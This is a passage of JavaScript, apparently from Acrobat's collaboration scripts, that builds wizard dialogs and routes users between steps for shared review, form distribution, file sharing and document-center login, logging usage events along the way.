						ANCreateMLSEElementsFromArray(text, Collab.wizardWidth)

					).concat(

						description.description

					).concat(

						ANCreateTipElements(tip, Collab.wizardWidth, tipDesc)

					)

				},

				{

					type: "view",

					align_children: "align_left",

					alignment: "align_fill",

					width: Collab.wizardWidth,

					margin_height: Collab.buttonRowMarginHeight,

					margin_width: Collab.wizardMarginWidth,

					elements:

					[

						{

							type: "view",

							align_children: "align_row",

							alignment: "align_fill",

							elements:

							[

								{

									type: "button",

									name: AnnotsString.IDS_HELP,

									item_id: "help",

									alignment: "align_left",

									width: cancelPrevNextFinishWidth

								},

								{

									type: "gap",

									alignment: "align_fill",

								},

								{

									type: "button",

									name: "*prev*",

									item_id: "prev",

									width: cancelPrevNextFinishWidth

								},

								{

									type: "button",

									name: "*next*",

									item_id: "next",

									width: cancelPrevNextFinishWidth

								},

								{

									type: "button",

									name: AnnotsString.IDS_CANCEL,

									item_id: "cncl",

									width: cancelPrevNextFinishWidth

								},

							]

						}

					]

				}

			]

		};

		

		// wrap the step's description with generic wizard trimmings

		var stepDescription = ANTrustPropagateAll({

			next: function(dialog) { dialog.next(); },

			prev: function(dialog) { dialog.previous(); },

			cncl: function(dialog) { dialog.cancel(); },

			description:

			{

				name: title,

				margin_width: 0,

				margin_height: 0,

				

				height: Collab.wizardHeight,

				elements: 

				[

					{

						type: "view",

						align_children: "align_distribute",

						elements: wizFrames,

					}

				]

			}

		});



		// make sure to move callbacks, etc. up to the top level

		for(var i in description)

			if(i != "description")

				stepDescription[i] = description[i];



		// stick the dialog ref in there

		stepDescription.dialog = dialog;

		// take over the dialog

		app.beginPriv();

		app.execDialog(stepDescription, dialog);

		app.endPriv();

		// set up the default buttons

		dialog.makeDefault("next");

		dialog.makeCancel("cncl");

		// XXX

		// DebugPrintln("wizard bounds: " + app.measureDialog({description: stepDescription.description}).toSource());

		// call any init method

		if(typeof stepDescription.initialize != "undefined")

			stepDescription.initialize(dialog);

			

		return stepDescription;

	}

	

	// This is a modified version (new) of the existing implementation of the wizard

	// This should be used in the case of 

	// 1. shared review

	// 2. forms

	// 3. file sharing

	// 4. connect

	function CBRunSimpleWizNew(wizard, startStepNum, endStepNum, data)

	{

		var description = ANTrustPropagateAll({

			wizard: wizard,

			curStepNum: startStepNum,

			endStepNum: endStepNum < 0 ? (wizard.steps.length - 1) : endStepNum,

			data: data,

			next: function()

			{

				this.commitCurStep(true);



                if(this.data.delayOpenDoc == true && this.wizard.steps[this.curStepNum].name == "IWBrowseDoc")

                    return; 

				var nextStep = this.getNextStep();

				if(nextStep > this.endStepNum)

				{

				

					if ((this.data.reviewType == "ShareFile")

					    || (this.data.reviewType == "SharedReview") 

						|| (this.data.reviewType == "FormDistribution"))

					{

						// Log the finish event for highlights

						var logEventParams = {};

						var startPayloadParams = {};

						var addStringToPayloadParams = {};

						if(this.data.reviewType == "SharedReview")

						{

							logEventParams.cat = "Wizard";

							logEventParams.subcat = "SharedReview";

						    logEventParams.evnt = "Complete";

						}

						else

						if(this.data.reviewType == "FormDistribution")

						{

							logEventParams.cat = "Wizard";

							logEventParams.subcat = "FormDistribution";

						    logEventParams.evnt = "Complete";

						}

						else 

						if(this.data.reviewType == "ShareFile" && data.type == 0)

						{

							logEventParams.cat = "Wizard";

							logEventParams.subcat = "ShareFile";

						    logEventParams.evnt = "Complete";

						}

						else

						if(this.data.reviewType == "ShareFile" && data.type == 1)

						{

							logEventParams.cat = "Wizard";

							logEventParams.subcat = "UploadFile";

						    logEventParams.evnt = "Complete";

						}

						

						app.beginPriv();

						Collab.AVUMLogEventWrapper(logEventParams);

						app.endPriv();

						if (this.data.reviewType == "ShareFile")

						{

						    if(data.type == 0)

						    {

							    startPayloadParams.cat = "ShareFile";

							    startPayloadParams.subcat = "ShareFilePayload";

						        startPayloadParams.evnt = "Complete";

						    }

						    else

						    if(data.type == 1)

						    {

							    startPayloadParams.cat = "UploadFile";

							    startPayloadParams.subcat = "UploadFilePayload";

						        startPayloadParams.evnt = "Complete";

						    }

    						   	

						    app.beginPriv();

						    Collab.AVUMStartPayloadWrapper(startPayloadParams);

						    app.endPriv();

						}   

						addStringToPayloadParams.name = "Exit_Status";

						addStringToPayloadParams.val = "Complete";

		

						app.beginPriv();

						Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						app.endPriv();

						   

						if ((this.data.reviewType == "SharedReview") || (this.data.reviewType == "FormDistribution"))

						{

							addStringToPayloadParams.name = "Server_Type";

							 

							if(data.server)

							{

							   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com")

							   		addStringToPayloadParams.val = "Acrobat_Com";

							   else

							   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/SMB")

							   		addStringToPayloadParams.val = "Network_Folder";

							   else

							   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint")

							   		addStringToPayloadParams.val = "SharePoint";

							   else

							   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/WebDAV")

							   		addStringToPayloadParams.val = "Web_Server";

							   else

							   if(this.data.reviewType == "FormDistribution" && this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

						   			addStringToPayloadParams.val = "Email";	

					   			else

								 	addStringToPayloadParams.val = "Unknown";

							}

							else

							 	addStringToPayloadParams.val = "Unknown";

							   		

						  	app.beginPriv();

			     		    Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

						    app.endPriv();

						}

						if (this.data.reviewType == "ShareFile")

						{

						    app.beginPriv();

						    Collab.AVUMEndPayloadWrapper();

						    app.endPriv();

						} 		

					}

					this.dialog.end("fnsh");

				}	

				else

					this.startStep(nextStep);

			},

			previous: function()

			{

				this.commitCurStep(false);

				var prevStep = this.curStepNum;

				var filter = this.wizard.stepFilter;



				var prevStep = this.getPreviousStep();

				

				this.startStep(prevStep);

			},

        	cancel: function()

			{

				// Log the cancel event for highlights

				

				if ((this.data.reviewType == "ShareFile")

					    || (this.data.reviewType == "SharedReview") 

						|| (this.data.reviewType == "FormDistribution"))

				{

					var logEventParams = {};

					var startPayloadParams = {};

					var addStringToPayloadParams = {};

					

					if(this.data.reviewType == "SharedReview")

					{

						logEventParams.cat = "Wizard";

						logEventParams.subcat = "SharedReview";

					    logEventParams.evnt = "Cancel";

					}

					else

					if(this.data.reviewType == "FormDistribution")

					{

						logEventParams.cat = "Wizard";

						logEventParams.subcat = "FormDistribution";

					    logEventParams.evnt = "Cancel";

					}

					else 

					if(this.data.reviewType == "ShareFile" && data.type == 0)

					{

						logEventParams.cat = "Wizard";

						logEventParams.subcat = "ShareFile";

					    logEventParams.evnt = "Cancel";

					}

					else

					if(this.data.reviewType == "ShareFile" && data.type == 1)

					{

						logEventParams.cat = "Wizard";

						logEventParams.subcat = "UploadFile";

					    logEventParams.evnt = "Cancel";

					}

					

					app.beginPriv();

					Collab.AVUMLogEventWrapper(logEventParams);

					app.endPriv();

					if (this.data.reviewType == "ShareFile") 

                    {

					    if(data.type == 0)

					    {

						    startPayloadParams.cat = "ShareFile";

						    startPayloadParams.subcat = "ShareFilePayload";

					        startPayloadParams.evnt = "Cancel";

					    }

					    else

					    if(data.type == 1)

					    {

						    startPayloadParams.cat = "UploadFile";

						    startPayloadParams.subcat = "UploadFilePayload";

					        startPayloadParams.evnt = "Cancel";

					    }   	

					    app.beginPriv();

					    Collab.AVUMStartPayloadWrapper(startPayloadParams);

					    app.endPriv();

					}   

					addStringToPayloadParams.name = "Exit_Status";

					addStringToPayloadParams.val = "Cancel";

	

					app.beginPriv();

					Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

					app.endPriv();

					   

					if ((this.data.reviewType == "SharedReview") || (this.data.reviewType == "FormDistribution"))

					{

					

						addStringToPayloadParams.name = "Server_Type";

					  

						if(data.server)

						{

						   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com")

						   		addStringToPayloadParams.val = "Acrobat_Com";

						   else

						   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/SMB")

						   		addStringToPayloadParams.val = "Network_Folder";

						   else

						   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint")

						   		addStringToPayloadParams.val = "SharePoint";

						   else

						   if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/WebDAV")

						   		addStringToPayloadParams.val = "Web_Server";

					   	   else

						   if(this.data.reviewType == "FormDistribution" && this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

						   		addStringToPayloadParams.val = "Email";	

						   	else

							 	addStringToPayloadParams.val = "Unknown";

						}

						else

						 	addStringToPayloadParams.val = "Unknown";

						   		

					  	app.beginPriv();

		     		    Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

					    app.endPriv();

					}

					if (this.data.reviewType == "ShareFile")

					{

					    app.beginPriv();

					    Collab.AVUMEndPayloadWrapper();

					    app.endPriv();

					}

				}

				// this might have cleanup side effects so call it

				this.commitCurStep(false);

				this.dialog.end("cncl");			

			},

			commitCurStep: function(next)

			{

				if(this.curStep && this.curStep.commit)

					this.curStep.commit(this.dialog, next);

			},

			startStep: function(stepNum)

			{

				DebugPrintln("$$$> in startStep: step number = " + stepNum);



				var wizStep = this.wizard.steps[stepNum];

				

				this.curDescription = wizStep.creator(this.data);

				this.curDescription.data = this.data;

				this.curStepNum = stepNum;



				var titles = [];

				

				for(var i in this.wizard.steps)

					titles = titles.concat([this.wizard.steps[i].title]);

				

				//dikumar: temporarily changing the title.

				//var wiztitle = this.wizard.title.replace(/\%stepnum\%/, this.curStepNum + 1).replace(/\%stepcount\%/, this.wizard.steps.length);

				var wiztitle = this.wizard.steps[this.curStepNum].title;

			

				if ((this.data.reviewType == "ShareFile")

				    || (this.data.reviewType == "SharedReview") 

				    || (this.data.reviewType == "SharedReviewEmail") 

					|| (this.data.reviewType == "FormDistribution")

					|| (this.data.reviewType == "FormDistributionEmail")

					|| (this.data.reviewType == "DocCenterLogin") 

					|| (this.data.reviewType == "DocCenterSignup"))

                	this.curStep = CBStartWizStepNew(this.dialog, wiztitle, titles, this.curStepNum, wizStep.heading, wizStep.text ? wizStep.text.split(/\n|\r\n|\r/) : null, wizStep.tip, wizStep.tipDesc, this.wizard.finishString, this.curDescription, wizStep.noSteps);

				else

					this.curStep = CBStartWizStep(this.dialog, wiztitle, titles, this.curStepNum, wizStep.heading, wizStep.text ? wizStep.text.split(/\n|\r\n|\r/) : null, wizStep.tip, wizStep.tipDesc, this.wizard.finishString, this.curDescription, wizStep.noSteps);

				this.dialog.load({

					next: stepNum < this.endStepNum ? AnnotsString.IDS_NEXT : wizard.finishString,

					prev: AnnotsString.IDS_PREVIOUS,

					cncl: AnnotsString.IDS_CANCEL,

					tip1: "C_Info_Xl_N.png",

					nav1: "C_GotoNextView_Sm_N.png" // XXX

				});

				this.dialog.enable({ prev: stepNum >= 0 });

			},

			initialize: function(dialog)

			{

				// basic setup				

				this.dialog = dialog;

				dialog.monitor = this;

				app.beginPriv();

				dialog.next = app.trustPropagatorFunction(function() { this.monitor.next(); });

				dialog.previous = app.trustPropagatorFunction(function() { this.monitor.previous(); });

				dialog.cancel = app.trustPropagatorFunction(function() { this.monitor.cancel(); });

				app.endPriv();



				// Default Step Filter Impl

				if(typeof this.wizard.stepFilter == "undefined")

					this.wizard.stepFilter = function(data, stepNum) { return false; }

				

				this.startStep(this.curStepNum);

			},

			

			// This is a representation of the state machine

			// This function returns the next step in a wizard based on the current state and the values in data

			getNextStep : function()

			{

				var wizard = this.wizard;

				var data = this.data;

				var curStepNum = this.curStepNum;

				var endStepNum = this.endStepNum;

				

				var nextStep = curStepNum;

				var nextStepName = "noFunc";

				var filter = wizard.stepFilter;

				

				if (data.reviewType == "SharedReview")

				{

					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWBrowseDoc":

						{

							//if there is an existing AlwaysUseServer,

							// Get the server

							var alwaysUseServer = getAlwaysUseServerValue(this.data.reviewType);

							

						    if (alwaysUseServer != undefined)

						    {

							    // Do the IWDistributionServer init stuff

							    var oldName = data.doc.documentFileName;

							    var oldPath = data.doc.path;

							    var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

							    data.cDocumentName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_FILE_EXT" + WT);;

							    data.cDocumentPath = newPath + data.cDocumentName;

				

								data.server = alwaysUseServer;

								data.addInternalServer = false;

								

								if (data.server.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

									data.UseDocumentCenter = true;

								else 

									data.UseDocumentCenter = false;							

							

								if (this.data.UseDocumentCenter)

								{

									DebugAlert("browsedoc step\nuse dc\ndone dist server commit work\nnow checking if silent is possible or not");

									//check if we can log-in using an existing credential store. 

									if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com"}))

									{

										DebugAlert("Silent login: unsuccessful");

										//we need to show the login step

										nextStepName = "IWSharedReviewDocCenterLogin";

									}

									else

									{									   

										DebugAlert("Silent login : successful");

										//silent login done, show email step

										DistributionServerStepCommitWork(data);

										nextStepName = "IWEmailStepDescription";

									}

								}

								else

								{

									if(ANValidateIdentity() == false)

										nextStepName = "IWIdentityDialog";

									else

									{

										DistributionServerStepCommitWork(data);

										//the user chose a legacy server, so jump to email step.

										nextStepName = "IWEmailStepDescription";

									}

								}

							}

							else

								nextStepName = "IWDistributionServer";

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}

						case "IWDistributionServer":

						{

							if (this.data.addInternalServer)

								nextStepName = "IWNewInternalServer";

							else

							{

								if (this.data.UseDocumentCenter)

								{

									DebugAlert("checking if silent is possible or not");

									//check if we can log-in using an existing credential store. 

									if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com"}))

									{

										DebugAlert("Silent login: unsuccessful");

										//we need to show the login step

										nextStepName = "IWSharedReviewDocCenterLogin";

									}

									else

									{

										DebugAlert("silent login : successful");

										//silent login done, show email step

										DistributionServerStepCommitWork(data);

										nextStepName = "IWEmailStepDescription";

									}

								}

								else

								{

									if(ANValidateIdentity() == false)

										nextStepName = "IWIdentityDialog";

									else

									{

										DistributionServerStepCommitWork(data);

										//the user chose a legacy server, so jump to email step.

										nextStepName = "IWEmailStepDescription";

									}

								}

							}

							nextStep = GetStepNum(nextStepName, data.reviewType);

							

							// select server profile or add new server

							break

						}

						case "IWSharedReviewDocCenterLogin":

						{

							if(this.data.signup==true)

								nextStepName = "IWSharedReviewDocCenterCreateID";								

							else

							{

								DistributionServerStepCommitWork(data);

								nextStepName = "IWEmailStepDescription";

							}								

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							DistributionServerStepCommitWork(data);

							nextStepName = "IWEmailStepDescription";								

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}

						case "IWDistributeStepDescription":

						{

							if (this.data.addInternalServer)

								nextStepName = "IWSaveProfileStepDescription";

								

							nextStep = GetStepNum(nextStepName, data.reviewType);

								

							// select server profile or add new server

							break

						}

						case "IWIdentityDialog":

						{

							DistributionServerStepCommitWork(data);



							nextStepName = "IWEmailStepDescription";

							

							nextStep = GetStepNum(nextStepName, data.reviewType);

							

							break

						}

						case "IWNewInternalServer":

						{

							nextStepName = "IWDistributeStepDescription";

								

							nextStep = GetStepNum(nextStepName, data.reviewType);

								

							// select server profile or add new server

							break

						}

						case "IWSaveProfileStepDescription":

						{

							if(ANValidateIdentity() == false)

								nextStepName = "IWIdentityDialog";

							else

							{

								//the user chose a legacy server, so jump to email step.

								nextStepName = "IWEmailStepDescription";

							}

							

							nextStep = GetStepNum(nextStepName, data.reviewType);

							

							break

						}

					}

					if (nextStepName == "noFunc")

					{

						while(nextStep <= endStepNum)

						{

							if(!filter(data, nextStep + 1))

							{

								if(nextStep <= endStepNum)

									nextStep += 1;

								else

									nextStep = endStepNum;

								break;

							}

							else 

								nextStep += 1;

						}

					}

					return nextStep;

				}

				else

				if (data.reviewType == "FormDistribution")

				{

					DebugAlert("Current step name is :"+this.wizard.steps[curStepNum].name)

					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWBrowseDoc":

						{

							var alwaysUseServer = getAlwaysUseServerValue(this.data.reviewType);

							

						    if (alwaysUseServer != undefined)

						    {

							    // Do the IWDistributionServer init stuff

							    var oldName = data.doc.documentFileName;

							    var oldPath = data.doc.path;

							    var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

							    data.cDocumentName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_FILE_EXT" + WT) + ".pdf";

							    data.cDocumentPath = newPath + data.cDocumentName;

				

								data.addInternalServer = false;

								

														

								data.server = alwaysUseServer;



								if(data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

								{

									nextStepName = "IWDistributeStepDescription";

									DebugAlert("FD getnext step data.server.Settings.cSetting" + data.server.Settings.cSetting);

								}

								else

								{

									if (data.server.UI == SharedString("IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL"+WT))

										data.UseDocumentCenter = true;

									else 

										data.UseDocumentCenter = false;							

							

									if (this.data.UseDocumentCenter)

									{

										DebugAlert("browsedoc step\nuse dc\ndone dist server commit work\nnow checking if silent is possible or not");

										//check if we can log-in using an existing credential store. 

										if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/Forms/Acrobat.com"}))

										{

											DebugAlert("Silent login: unsuccessful");

											//we need to show the login step

											nextStepName = "IWSharedReviewDocCenterLogin";

										}

										else

										{

											DebugAlert("Silent login : successful");

											//silent login done, show email step

											DistributionServerStepCommitWork(data);

											nextStepName = "IWEmailStepDescription";

										}

									}

									else

									{

										if(ANValidateIdentity() == false)

											nextStepName = "IWIdentityDialog";

									    else if(data.server.UI == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL)

						                {

							                DistributionServerStepCommitWork(data);

							                startStepName = "IWDistributeStepDescription";

						                }

						                else if(data.server.UI == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

						                {

							                DistributionServerStepCommitWork(data);

							                startStepName = "IWNewInternalServer";

						                }

										else

										{

											DistributionServerStepCommitWork(data);

											nextStepName = "IWEmailStepDescription";

										}

									}

								}

								DebugAlert("asdfasf" + data.server.Settings.cSetting);

						

							}

							else

								nextStepName = "IWDistributionServer";

													

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}

						case "IWDistributionServer":

						{

							if (this.data.addInternalServer == true)

								nextStepName = "IWNewInternalServer";	

							else if((this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/InternalServer"))

							    nextStepName = "IWNewInternalServer";

							else 

							if(this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

							{

								if(this.data.placeSubmitButton == true)

									nextStepName = "IWSubmitButton";

								else

									nextStepName = "IWDistributeStepDescription";

							}

							else

							{

								if (this.data.UseDocumentCenter)

								{

									DebugAlert("checking if silent is possible or not");

									//check if we can log-in using an existing credential store. 

									if (!SilentDocCenterLogin(data, {bShowProgressMonitor:true, cDriver:"urn://ns.adobe.com/Collaboration/Forms/Acrobat.com"}))

									{

										DebugAlert("Silent login: unsuccessful");

										//we need to show the login step

										nextStepName = "IWSharedReviewDocCenterLogin";

									}

									else

									{

										DebugAlert("silent login : successful");

										//silent login done, show email step

										DistributionServerStepCommitWork(data);

										nextStepName = "IWEmailStepDescription";

									}

								}

								else

								{

									if(ANValidateIdentity() == false)

										nextStepName = "IWIdentityDialog";

									else if(data.server.UI == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL)

				                    {

					                    DistributionServerStepCommitWork(data);

					                    startStepName = "IWDistributeStepDescription";

				                    }

				                    else if(data.server.UI == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

				                    {

					                    DistributionServerStepCommitWork(data);

					                    startStepName = "IWNewInternalServer";

				                    }

									else

									{

										//the user chose a legacy server, so jump to email step.

										DistributionServerStepCommitWork(data);

										nextStepName = "IWEmailStepDescription";

									}

								}

							}

							

							DebugAlert("server type :" + this.data.serverType);

							//DebugAlert("isIdentityInfoPresent :" + this.data.isIdentityInfoPresent);

							DebugAlert("is submit button present :" + this.data.placeSubmitButton);

							

							nextStep = GetStepNum(nextStepName, data.reviewType);

							//

							// select server profile or add new server

							break

						}

						case "IWSharedReviewDocCenterLogin":

						{

							if(this.data.signup==true)

								nextStepName = "IWSharedReviewDocCenterCreateID";								

							else

							{

								DistributionServerStepCommitWork(data);

								nextStepName = "IWEmailStepDescription";

							}								

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							DistributionServerStepCommitWork(data);

							nextStepName = "IWEmailStepDescription";								

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}

						case "IWIdentityDialog":

						{		

							DistributionServerStepCommitWork(data);

							if(data.server.UI == AnnotsString.IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAIL)

						    {

							    nextStepName = "IWDistributeStepDescription";

						    }

						    else if(data.server.UI == SharedString("IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER" + WT))

						    {

							    nextStepName = "IWNewInternalServer";

						    }

							else

							{

								nextStepName = "IWEmailStepDescription";

							}	

							nextStep = GetStepNum(nextStepName, data.reviewType);

							

							break

						}

						case "IWDistributeStepDescription":

						{

							if (this.data.addInternalServer == true)

							{

								nextStepName = "IWSaveProfileStepDescription";

							}

							else if((this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/InternalServer"))

							    nextStepName = "IWSaveProfileStepDescription";

							else 

							if (this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

							{

								if(ANValidateIdentity() == false)

									nextStepName = "IWIdentityDialog";

								else

								{

									//the user chose a legacy server, so jump to email step.

									DistributionServerStepCommitWork(data);

									nextStepName = "IWEmailStepDescription";

								}

							}

							

							nextStep = GetStepNum(nextStepName, data.reviewType);

								

							// select server profile or add new server

							break

						}

						case "IWNewInternalServer":

						{

							nextStepName = "IWDistributeStepDescription";

								

							nextStep = GetStepNum(nextStepName, data.reviewType);

								

							// select server profile or add new server

							break

						}

						case "IWSaveProfileStepDescription":

						{

							if(ANValidateIdentity() == false)

								nextStepName = "IWIdentityDialog";

							else

							{

								//the user chose a legacy server, so jump to email step.

								nextStepName = "IWEmailStepDescription";

							}

							

							nextStep = GetStepNum(nextStepName, data.reviewType);

							

							break

						}

					}// end switch

					if (nextStepName == "noFunc")

					{

						while(nextStep <= endStepNum)

						{

							if(!filter(data, nextStep + 1))

							{

								if(nextStep <= endStepNum)

									nextStep += 1;

								else

									nextStep = endStepNum;

								break;

							}

							else 

								nextStep += 1;

						}

					}

					return nextStep;

				}

				else if (data.reviewType == "ShareFile")

				{

					DebugAlert("GetNext step for ShareFile: Current step name is :"+this.wizard.steps[curStepNum].name)



					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWSharedReviewDocCenterLogin":

						{

							if(this.data.signup==true)

							{

								nextStepName = "IWSharedReviewDocCenterCreateID";

								nextStep = GetStepNum(nextStepName, data.reviewType);

							}								

							else

							{

								nextStepName = "IWBrowseAnyDoc";

								nextStep = GetStepNum(nextStepName, data.reviewType);

							}								

							break;

						}

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							nextStepName = "IWBrowseAnyDoc";

							nextStep = GetStepNum(nextStepName, data.reviewType);

							break;

						}					

						case "IWBrowseAnyDoc":

						{

							DebugAlert("Logged in and files have been chosen, now do we show the email step or not. ");

							if (data.type == 0)

							{

								nextStepName = "IWEmailStepDescription";

								nextStep = GetStepNum(nextStepName, data.reviewType);

							}

							else //data.type == 1

							{

								nextStep = UploadFileSteps.length; 									

							}

							break

						}

					}

					if (nextStepName == "noFunc")

					{

						while(nextStep <= endStepNum)

						{

							if(!filter(data, nextStep + 1))

							{

								if(nextStep <= endStepNum)

									nextStep += 1;

								else

									nextStep = endStepNum;

								break;

							}

							else 

								nextStep += 1;

						}

					}

					return nextStep;

				}

				else if (data.reviewType == "DocCenterLogin")

				{

					DebugAlert("GetNext step for Doc CenterLogin: Current step name is :"+this.wizard.steps[curStepNum].name)



					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWSharedReviewDocCenterLogin":

						{

							if(this.data.signup==true)

							{

								nextStepName = "IWSharedReviewDocCenterCreateID";

								nextStep = GetStepNum(nextStepName, data.reviewType);

							}								

							else

							{

								nextStep = DocCenterLoginSteps.length; 

							}

							break;

						}

					}

					if (nextStepName == "noFunc")

					{

						while(nextStep <= endStepNum)

						{

							if(!filter(data, nextStep + 1))

							{

								if(nextStep <= endStepNum)

									nextStep += 1;

								else

									nextStep = endStepNum;

								break;

							}

							else 

								nextStep += 1;

						}

					}

					return nextStep;

				} 

                else

				{

					switch (curStepNum)

					{

						default:

							nextStep += 1;

							break;

					}

					return nextStep;

				}

			},



			getPreviousStep : function()

			{

				var wizard = this.wizard;

				var data = this.data;

				var curStepNum = this.curStepNum;

				

				var prevStep = curStepNum;

				var prevStepName = "noFunc";

				

				//DebugPrintln("this.wizard.steps[curStepNum].name:"+this.wizard.steps[curStepNum].name);

				

				if (data.reviewType == "SharedReview")

				{

					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWNewInternalServer":

						{

							prevStepName = "IWDistributionServer";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWSharedReviewDocCenterLogin":

						{

							prevStepName = "IWDistributionServer";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							prevStepName = "IWSharedReviewDocCenterLogin";								

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break;

						}

						case "IWEmailStepDescription":

						{

							if (data.deliveryMethodLinkClicked == true)

							{

								prevStepName = "IWDistributionServer";

								data.deliveryMethodLinkClicked = false;

							}

							else

							{	

								if (data.UseDocumentCenter)

									prevStepName = "IWSharedReviewDocCenterLogin";

								else

									prevStepName = "IWDistributionServer";

							}

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWDistributeStepDescription":

						{

							prevStepName = "IWNewInternalServer";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWIdentityDialog":

						{

							prevStepName = "IWDistributionServer";

							

							prevStep = GetStepNum(prevStepName, data.reviewType);

							

							break

						}

					}

					//DebugPrintln("prevStepName:"+prevStepName);

					//DebugPrintln("prevStep:"+prevStep);

					

					if (prevStepName == "noFunc")

					{

						if (prevStep > 0)

							prevStep -= 1;

					}

					return prevStep;

				}

				else if (data.reviewType == "FormDistribution")

				{

					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWEmailStepDescription":

						{

							if (data.deliveryMethodLinkClicked == true)

							{

								prevStepName = "IWDistributionServer";

								data.deliveryMethodLinkClicked = false;

							}

							else

							{	

								if (this.data.UseDocumentCenter)

									prevStepName = "IWSharedReviewDocCenterLogin";

								else if (this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/Email")

									prevStepName = "IWDistributeStepDescription";

								else

									prevStepName = "IWDistributionServer";

							}

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWSharedReviewDocCenterLogin":

						{

							prevStepName = "IWDistributionServer";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							prevStepName = "IWSharedReviewDocCenterLogin";								

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break;

						}

						case "IWDistributeStepDescription":

						{

							if (this.data.addInternalServer || (this.data.server != undefined && this.data.server.URL == "urn://ns.adobe.com/Collaboration/Forms/InternalServer") )

								prevStepName = "IWNewInternalServer";

							else

								prevStepName = "IWDistributionServer";

								

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break

						}

						case "IWIdentityDialog":

						{

							prevStepName = "IWDistributionServer";

							

							prevStep = GetStepNum(prevStepName, data.reviewType);

							

							break

						}

						case "IWSubmitButton":

						{

							prevStepName = "IWDistributionServer";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							

							break

						}

						case "IWNewInternalServer":

						{

							prevStepName = "IWDistributionServer";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							

							break

						}

					}

					//DebugPrintln("prevStepName:"+prevStepName);

					//DebugPrintln("prevStep:"+prevStep);

					

					if (prevStepName == "noFunc")

					{

						if (prevStep > 0)

							prevStep -= 1;

					}

					return prevStep;

				}

				else if (data.reviewType == "ShareFile")

				{

					switch (this.wizard.steps[curStepNum].name)

					{

						case "IWBrowseAnyDoc":

						{

							prevStepName = "IWSharedReviewDocCenterLogin";

							prevStep = GetStepNum(prevStepName, data.reviewType);							

							break;

						}

						case "IWSharedReviewDocCenterCreateConfirm":

						{

							prevStepName = "IWSharedReviewDocCenterLogin";

							prevStep = GetStepNum(prevStepName, data.reviewType);								

							break;

						}

						case "IWEmailStepDescription":

						{

							prevStepName = "IWBrowseAnyDoc";

							prevStep = GetStepNum(prevStepName, data.reviewType);

							break;

						}

					}

					if (prevStepName == "noFunc")

					{

						if (prevStep > 0)

							prevStep -= 1;

					}

					

					return prevStep;

				}

				else if (data.reviewType == "DocCenterLogin")

				{

